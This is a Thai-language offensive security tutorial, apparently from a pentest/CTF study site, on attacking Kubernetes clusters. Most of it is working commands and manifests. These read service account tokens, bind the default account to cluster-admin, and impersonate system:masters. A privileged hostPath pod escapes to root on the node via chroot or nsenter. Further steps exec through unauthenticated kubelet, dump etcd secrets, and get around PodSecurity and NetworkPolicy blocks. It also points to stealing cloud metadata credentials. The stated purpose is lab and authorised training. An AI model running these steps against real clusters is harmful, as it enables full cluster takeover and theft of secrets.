Kubernetes Attacks & Escape
Kubernetes Attacks ครอบคลุมการโจมตีใน cluster แบบครบวงจร: จาก pod ที่ยึดได้ → service account token → เรียก K8s API → RBAC abuse → escape ไป node → คุม cluster บทนี้ลงลึก: enumeration ใน pod, การใช้ SA token, RBAC privesc (create pod/secret/binding/impersonate), pod→node escape ด้วย hostPath/privileged, kubelet API (10250), etcd (2379), และ lab walkthrough + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ & สถาปัตยกรรม
Kubernetes orchestrate container เป็น pod รันบน node ควบคุมผ่าน API server (สมองกลาง) การ auth ใช้ service account (SA) token ที่ mount เข้า pod ทุกตัว สิทธิ์กำหนดด้วย RBAC (Role/ClusterRole + Binding) เป้าหมายผู้โจมตี: จาก pod → ยกสิทธิ์จน create pod บน node ได้ → escape สู่ node → จาก node คุม cluster
2. Enumeration ใน Pod
เมื่อได้ shell ใน pod — ตรวจว่าอยู่ใน container ไหม, มี SA token ไหม, mount อะไร, network เข้าถึงอะไร
# ยืนยันว่าอยู่ใน container
cat /proc/1/cgroup | grep -E 'docker|kube'
ls -la /.dockerenv 2>/dev/null
# SA token (มาเสมอถ้าไม่ปิด automount)
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# env (มัก leak service host/port + บางที secret)
env | grep -iE 'KUBE|SERVICE|SECRET|TOKEN'
# mount น่าสนใจ (host path?)
mount | grep -vE 'proc|sys|cgroup|tmpfs'
cat /proc/mounts | grep -vE 'proc|overlay|tmpfs'
# network: API server เข้าถึงได้ไหม
curl -k https://kubernetes.default.svc/version
# kubelet ของ node เดียวกัน?
curl -k https://$(hostname -i | cut -d. -f1-3).1:10250/pods 2>/dev/nullkdigger dig all หรือ peirates (interactive) สแกนทุกอย่างให้3. ใช้ SA Token เรียก API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API=https://kubernetes.default.svc
# ดาวน์โหลด kubectl ถ้าไม่มี
curl -LO https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl
chmod +x kubectl
# สิ่งสำคัญสุด: ทำอะไรได้บ้าง
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify auth can-i --list -n $NS
# ลอง list/get resource
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify get pods,secrets -n $NS4. RBAC Abuse → Privesc
| Permission (verb/resource) | ผลกระทบ |
|---|---|
| create pod | รัน container ใดก็ได้ → mount host → escape |
| get/list secrets | ดึง credential ทั้ง namespace (รวม SA token อื่น) |
| create clusterrolebinding | ให้ cluster-admin แก่ตัวเอง |
| create rolebinding | ผูก role สิทธิ์สูงในnamespace |
| impersonate (users/groups) | ปลอมเป็น principal สิทธิ์สูง |
| pods/exec | exec เข้า pod อื่น (รวม pod ที่ mount host) |
| pods/portforward | เข้าถึง service ภายใน |
| escalate (rbac) | สร้าง role ที่สิทธิ์เกินตัวเอง |
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify \
create clusterrolebinding pwn --clusterrole=cluster-admin \
--serviceaccount=$NS:default
# ตอนนี้ default SA = cluster-admin → ทำได้ทุกอย่าง# ปลอมเป็น cluster-admin group
./kubectl --token=$TOKEN --server=$API --insecure-skip-tls-verify \
--as=system:admin --as-group=system:masters get secrets -A5. Pod → Node Escape
ถ้าสร้าง pod ได้ → สร้าง pod ที่ mount host filesystem (hostPath: /) หรือ privileged + hostPID แล้ว chroot/nsenter เข้า node = root บน node
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata: { name: escape }
spec:
hostPID: true
hostNetwork: true
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","sleep 1d"]
securityContext: { privileged: true }
volumeMounts:
- { name: host, mountPath: /host }
volumes:
- name: host
hostPath: { path: / }
nodeName: <target-node> # เลือก node (ดูจาก kubectl get nodes)
---
# สร้างแล้ว exec เข้าไป chroot:
# kubectl apply -f escape-pod.yaml
# kubectl exec -it escape -- chroot /host bash
# = root บน node!# จากใน privileged pod ที่ hostPID:true
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# เข้า namespace ของ PID 1 (init ของ host) = หลุดออก node6. Kubelet API & etcd
นอกจาก API server ยังมี 2 จุดที่มัก misconfigure: kubelet (port 10250 บนทุก node) ถ้าเปิด anonymous = exec เข้า pod ได้, และ etcd (port 2379) = ฐานข้อมูล cluster ทั้งหมด (รวม secret)
# list pods บน node
curl -sk https://NODE:10250/pods | jq '.items[].metadata.name'
# exec เข้า pod ผ่าน kubelet (ถ้า anonymous auth เปิด)
# ใช้ kubeletctl ง่ายกว่า
kubeletctl -i --server NODE pods
kubeletctl -i --server NODE exec "id" -p <pod> -c <container>
# หา SA token จากทุก pod บน node
kubeletctl -i --server NODE scan token# ถ้าเข้าถึง etcd โดยไม่ต้อง cert (misconfig)
ETCDCTL_API=3 etcdctl --endpoints=https://NODE:2379 \
get / --prefix --keys-only | grep secret
# อ่าน secret
ETCDCTL_API=3 etcdctl --endpoints=https://NODE:2379 get /registry/secrets/default/<name>7. Lab Walkthrough
- 1ได้ shell ใน pod (เช่นผ่าน RCE บน web app ที่รันใน pod)
- 2recon:
cat /proc/1/cgroupยืนยัน k8s;ls /var/run/secrets/kubernetes.io/serviceaccount/เจอ token - 3เช็คสิทธิ์:
kubectl --token=$TOKEN auth can-i --list→ เจอcreate pods+get secrets - 4ดึง secret:
kubectl get secrets -o yaml→ เจอ DB password / SA token อื่น (base64 decode) - 5escape:
kubectl apply -f escape-pod.yaml(hostPath /) แล้วkubectl exec -it escape -- chroot /host bash - 6บน node: อ่าน
/etc/kubernetes/admin.conf(ถ้าเป็น control-plane node) = cluster-admin kubeconfig → คุมทั้ง cluster
8. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| ไม่มี SA token ใน pod | automountServiceAccountToken: false — ลอง kubelet/network attack แทน |
| can-i --list = ได้ no หมด | default SA สิทธิ์ต่ำ — หา secret/token ของ SA อื่น, ลอง kubelet |
| create pod ได้แต่ไม่ escape | PodSecurityPolicy/PSA บล็อก privileged/hostPath — ลอง hostPath แบบ readonly หรือ exec เข้า pod อื่นที่ privileged |
| kubectl: x509 certificate error | ใส่ --insecure-skip-tls-verify |
| API server เข้าไม่ถึง | NetworkPolicy บล็อก — ลอง kubelet ของ node เดียวกัน (10250) |
| exec pod อื่นไม่ได้ | ขาด pods/exec — ลอง create pod ใหม่แทน |
9. Indicators & Quick Reference
/var/run/secrets/kubernetes.io = อยู่ใน k8s, can-i ขึ้น create pod/secret/binding = privesc ได้, privileged pod / hostPath mount = escape, kubelet 10250 anonymous, etcd 2379 ไม่มี cert- เริ่ม: recon pod → SA token → can-i --list → RBAC path หรือ escape
- kube-hunter (สแกนภายนอก), peirates/kdigger (จากใน pod)
- secret base64:
kubectl get secret X -o jsonpath='{.data.password}' | base64 -d - control-plane node:
/etc/kubernetes/admin.conf= cluster-admin - flag ใน CTF k8s มักอยู่: secret, configmap, pod env, หรือบน node filesystem
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติว่าคุณเพิ่งได้ shell เข้าไปใน pod ของ k8s cluster (หรือแค่เจอ kubelet/API server เปิดจากภายนอกโดยไม่มี shell เลย) มีแค่เครื่องมือพื้นฐานใน Kali ทำตามขั้นตอนด้านล่างนี้ทีละข้อ แล้วดู decision tree ต่อว่าเจออะไรแล้วควรไปทางไหน
- 1เช็คว่าอยู่ใน k8s pod จริงไหม:
ls /var/run/secrets/kubernetes.io/serviceaccount/— ถ้าเจอโฟลเดอร์ที่มีtoken,ca.crt,namespace= อยู่ใน k8s pod แน่นอน - 2อ่าน service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenแล้วเก็บไว้ในตัวแปรTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) - 3เช็ค namespace ตัวเอง:
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace - 4ดาวน์โหลด kubectl ถ้ายังไม่มี:
curl -LO https://dl.k8s.io/release/$(curl -sL https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl && chmod +x kubectl - 5เช็คว่า token นี้ทำอะไรได้บ้าง:
./kubectl --token=$TOKEN --server=https://kubernetes.default.svc --insecure-skip-tls-verify auth can-i --list— ดูรายการ verb/resource ที่อนุญาต - 6ลอง list ของจริง:
./kubectl --token=$TOKEN ... get pods,secrets -A— ถ้าเจอ errorForbiddenแปลว่าสิทธิ์ต่ำ ต้องหาทางอื่น - 7สแกนจากภายนอก/ภายในด้วยเครื่องมืออัตโนมัติ:
kube-hunter --remote <API_IP>หรือ--podถ้ารันจากใน pod เพื่อ list ช่องโหว่ทั้งหมด - 8ใช้ peirates ทำทุกอย่างแบบ interactive: รัน
peiratesแล้วเลือกเมนู เช่น escalate, list secrets, หรือ generate escape pod ให้อัตโนมัติ - 9เช็ค env ตัวเองหา service host/port เพิ่ม:
env | grep -iE 'KUBE|SERVICE|SECRET|TOKEN' - 10เช็คว่ามี hostPath mount ไหม:
mount | grep -vE 'proc|sys|cgroup|tmpfs'— ถ้าเจอ mount ที่ชี้ไป path ของ host = อาจใช้เขียนไฟล์ฝั่ง node ได้เลยโดยไม่ต้อง create pod ใหม่
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| เช็ค SA token ใน pod | cat, ls | - | kubernetes.io/docs |
| เรียก K8s API ด้วย token | curl | kubectl (ดาวน์โหลดจาก dl.k8s.io) | kubernetes.io/docs |
| scan cluster จากภายนอก/ภายใน | - | kube-hunter (pip install kube-hunter) | hackingthe.cloud |
| exploit RBAC/escape แบบ interactive | - | peirates (Go binary จาก GitHub release) | hackingthe.cloud |
| exec เข้า pod ผ่าน kubelet API โดยตรง | curl | kubeletctl (Go binary) | - |
| ดึง secret จาก etcd ตรงๆ | - | etcdctl (apt install etcd-client) | - |
| หลังหลุดไป node แล้วหา privesc เพิ่ม | find, ls | linpeas.sh | gtfobins.github.io |
| ถ้า node มี docker/containerd ให้ escape ต่อ | docker CLI | deepce.sh, amicontained | - |
169.254.169.254 (cloud metadata) ได้ตรงๆ ลองดึง credential ผ่านนั้นก่อนเสียเวลาสู้ RBAC; (4) aws-s3-attacks — ถ้าได้ credential จาก metadata หรือจาก secret แล้วพบว่ามีสิทธิ์เข้าถึง S3 bucket ต่อหัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้